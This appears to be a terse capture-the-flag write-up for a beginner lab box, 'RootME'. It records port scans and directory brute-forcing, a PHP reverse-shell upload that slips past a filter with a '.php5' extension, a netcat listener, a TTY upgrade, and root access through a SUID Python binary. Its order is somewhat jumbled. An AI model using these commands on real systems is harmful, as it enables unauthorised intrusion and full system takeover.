RootME
Last updated
Was this helpful?
Last updated
Was this helpful?
A ctf for beginners, can you root me?
Scan the machine, how many ports are open?
What version of Apache are running?
What is the hidden directory?
user.txt?
Search for files with SUID permission, which file is weird?
root.txt?
nmap -sSVC -A -O -vv
A: 2
A: 2.4.29
A: ssh
(the ip is different because I continued that writeup the other day)
A: /panel/
checking the directory /panel/, we have
let's try to upload a shell
remember to set a port to listening
nc -lvp PORT
"PHP isn't permitted"
let's try bypassing this using the ".php5" extension
mv revs.php revs.php5
it worked
to run click on "veja" ("see")
it worked, we have shell
to get a tty
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
export TERM=xterm
find / -type f -name user.txt 2>/dev/null
cat /var/www/user.txt
To look for the files with SUID permission we can use the command:
find / -type f -user root -perm -4000 2>/dev/null
python -c "import os;os.setuid(0);os.system('/bin/bash')"
gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 33 -x html,php,txt
shell:
curl -o revs.php
